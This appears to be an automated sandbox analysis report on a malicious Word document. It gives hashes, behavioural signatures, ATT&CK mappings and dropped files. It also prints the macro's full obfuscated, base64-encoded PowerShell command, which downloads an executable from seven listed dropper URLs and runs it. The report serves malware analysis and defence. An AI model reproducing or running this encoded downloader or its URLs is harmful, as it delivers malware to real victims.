18964eb4976bd132088ce83e758dec1aa96db6da0cc8a51504e4c8fa7f2832f1

General

Target

c164a231c90b0862a43d7ff543fd5e39_JaffaCakes118.doc
Size

153KB
MD5

c164a231c90b0862a43d7ff543fd5e39
SHA1

48d2cd5e0c862561222dd9c11e3a546840a716af
SHA256

18964eb4976bd132088ce83e758dec1aa96db6da0cc8a51504e4c8fa7f2832f1
SHA512

41df3063e0340edfd4deaf80d93852af1d0d3345dff0d22e7bec649e2b631249f7d2948f9e909deef4d3d4c854b2a73bbfa9234f09ff5c0306bbd0be15c66568
SSDEEP

1536:CJ0ZsWTJ0ZsWirdi1Ir77zOH98Wj2gpngR+a92Q54LW0Ua:5rfrzOH98ipga+qDUa

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://intrasistemas.com/cgi-bin/mTQls3/

exe.dropper

http://gforcems.it/modules/D/

exe.dropper

http://cooltattoo.es/hatone/6YAA0O2/

exe.dropper

http://diesner.de/css/cf/

exe.dropper

http://go4it24.be/administrator/Q1r3/

exe.dropper

http://eltrafalgar.com/wp-includes/VFSi/

exe.dropper

http://infoestudio.es/cursos/qPP/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1220	4840	powershell.exe	91

Blocklisted process makes network request 7 IoCs

flow	pid	Process
27	1220	powershell.exe
30	1220	powershell.exe
32	1220	powershell.exe
37	1220	powershell.exe
39	1220	powershell.exe
40	1220	powershell.exe
43	1220	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
684	WINWORD.EXE
684	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1220	powershell.exe
1220	powershell.exe
1220	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1220	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
684	WINWORD.EXE
684	WINWORD.EXE
684	WINWORD.EXE
684	WINWORD.EXE
684	WINWORD.EXE
684	WINWORD.EXE
684	WINWORD.EXE
684	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c164a231c90b0862a43d7ff543fd5e39_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABXADIAYwBnAHoAcABzAD0AKAAnAEEAMgAnACsAKAAnADIAcQA2AG8AJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBwAFIATwBGAGkATABlAFwAVQBpADcAQwBLADkAOABcAGMAdQBZAFAAdQBYAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBJAHQAWQBgAFAAcgBgAE8AVABPAGAAQwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEgAMQAwADIAMwB2ADIAIAA9ACAAKAAnAEQAJwArACcAawAnACsAKAAnAHoANQAnACsAJwA0AHkAbQAnACsAJwBpADAAJwApACkAOwAkAEoAMAA3AHAAbwB4AGUAPQAoACgAJwBXAGEAcwAnACsAJwB2ACcAKQArACgAJwBhAG8AJwArACcAMgAnACkAKQA7ACQARQA2AHcAcgB0AHQANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHoARgBmACcAKwAnAFUAaQAnACkAKwAnADcAJwArACcAYwAnACsAKAAnAGsAOQA4AHoARgAnACsAJwBmAEMAJwArACcAdQB5ACcAKQArACcAcAB1ACcAKwAoACcAeAAnACsAJwB2AHoARgBmACcAKQApAC4AIgBSAEUAcABMAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAyADIAKwBbAEMAaABBAHIAXQA3ADAAKwBbAEMAaABBAHIAXQAxADAAMgApACwAJwBcACcAKQApACsAJABIADEAMAAyADMAdgAyACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAHUAaABxADAAMgByAD0AKAAnAEgAawAnACsAKAAnADAAMwB2AGcAJwArACcAcAAnACkAKQA7ACQAQwB3AG8AagBhAGwANwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwASQBFAG4AdAA7ACQAQQA3AHoAYQBmADUAZQA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGkAbgB0AHIAYQBzACcAKQArACgAJwBpAHMAdAAnACsAJwBlACcAKQArACgAJwBtAGEAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAJwApACsAJwBnACcAKwAoACcAaQAtAGIAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwAvACcAKwAnAG0AVABRAGwAJwApACsAKAAnAHMAMwAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8ALwBnAGYAbwAnACkAKwAoACcAcgBjAGUAJwArACcAbQBzACcAKQArACcALgAnACsAKAAnAGkAJwArACcAdAAvACcAKQArACcAbQAnACsAJwBvACcAKwAnAGQAdQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAEQAJwArACcALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBjAG8AbwAnACkAKwAoACcAbAAnACsAJwB0AGEAdAB0AG8AbwAnACkAKwAnAC4AJwArACgAJwBlAHMALwBoACcAKwAnAGEAJwArACcAdABvAG4AZQAnACkAKwAoACcALwA2ACcAKwAnAFkAQQAnACkAKwAoACcAQQAwACcAKwAnAE8AMgAvACoAaAAnACsAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AZAAnACsAJwBpAGUAJwArACcAcwAnACkAKwAnAG4AZQAnACsAKAAnAHIAJwArACcALgBkAGUALwAnACkAKwAoACcAYwBzAHMALwBjACcAKwAnAGYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBnAG8ANAAnACkAKwAoACcAaQB0ADIANAAnACsAJwAuAGIAJwArACcAZQAvACcAKQArACgAJwBhAGQAbQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGkAJwArACcAcwB0AHIAYQAnACsAJwB0AG8AcgAvAFEAJwArACcAMQAnACkAKwAnAHIAJwArACgAJwAzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGUAJwApACsAJwBsACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAZgBhAGwAJwArACcAZwAnACsAJwBhAHIALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBWAEYAJwArACcAUwBpACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAGUAJwApACsAKAAnAHMAdAB1AGQAJwArACcAaQAnACkAKwAnAG8ALgAnACsAJwBlACcAKwAoACcAcwAvACcAKwAnAGMAdQByACcAKQArACgAJwBzAG8AcwAvAHEAJwArACcAUABQAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA4AGMAdAB3AHcAbQA9ACgAKAAnAEkAJwArACcAbABzAGMAbgAnACkAKwAnAHUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMADcAMAByAGIAegAyACAAaQBuACAAJABBADcAegBhAGYANQBlACkAewB0AHIAeQB7ACQAQwB3AG8AagBhAGwANwAuACIARABPAHcAbgBgAGwAbwBhAGQAYABGAGAAaQBMAGUAIgAoACQATAA3ADAAcgBiAHoAMgAsACAAJABFADYAdwByAHQAdAA2ACkAOwAkAEMAbwB3ADQAYgBzADUAPQAoACcATQBlACcAKwAoACcAZgBkACcAKwAnAHoAJwApACsAJwBtADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUANgB3AHIAdAB0ADYAKQAuACIATABgAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA5ADEAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABFADYAdwByAHQAdAA2ACkAOwAkAFIAbgBlAGwAaAA1AHIAPQAoACcAQwAnACsAJwBmACcAKwAoACcAeQBpACcAKwAnAHAAbwAxACcAKQApADsAYgByAGUAYQBrADsAJABSAHoAaAB2AHcAMwAxAD0AKAAoACcATABiACcAKwAnAHIAcQBpACcAKQArACcAcABfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAHoAaABmADAANwA9ACgAJwBFAHYAJwArACgAJwA5ACcAKwAnAG0AZwBvACcAKQArACcAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4236,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8
1⤵
PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCD95EB.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdnr5baq.r2h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
58997c6359b152b01ff7efa58f6e92db

SHA1
95f501d148797628776a537f15a57a42635672de

SHA256
8abc44d01aacbf1d3cac46346ff9240098b8c446d36697a3dd94d6832e7b3f2b

SHA512
cc56810b678ff4aefd5c7da97dc78dfc71e209670ae73ad2a13efa14b4d33774fa73625594296f3b7c484bc33f5c22b0fca02e3a5b1857e9b27857b1f7ebc9c4

Download Submit
memory/684-10-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-3-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-7-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-12-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-11-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-0-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-13-0x00007FFF8C410000-0x00007FFF8C420000-memory.dmp

Filesize
64KB

Download
memory/684-9-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-14-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-8-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-5-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-15-0x00007FFF8C410000-0x00007FFF8C420000-memory.dmp

Filesize
64KB

Download
memory/684-22-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-26-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-273-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-2-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-269-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-6-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-90-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-91-0x00007FFFCE72D000-0x00007FFFCE72E000-memory.dmp

Filesize
4KB

Download
memory/684-92-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-93-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-94-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-4-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-100-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/684-270-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-1-0x00007FFFCE72D000-0x00007FFFCE72E000-memory.dmp

Filesize
4KB

Download
memory/684-272-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/684-271-0x00007FFF8E710000-0x00007FFF8E720000-memory.dmp

Filesize
64KB

Download
memory/1220-248-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/1220-101-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download
memory/1220-70-0x00000198FFEB0000-0x00000198FFED2000-memory.dmp

Filesize
136KB

Download
memory/1220-64-0x00007FFFCE690000-0x00007FFFCE885000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads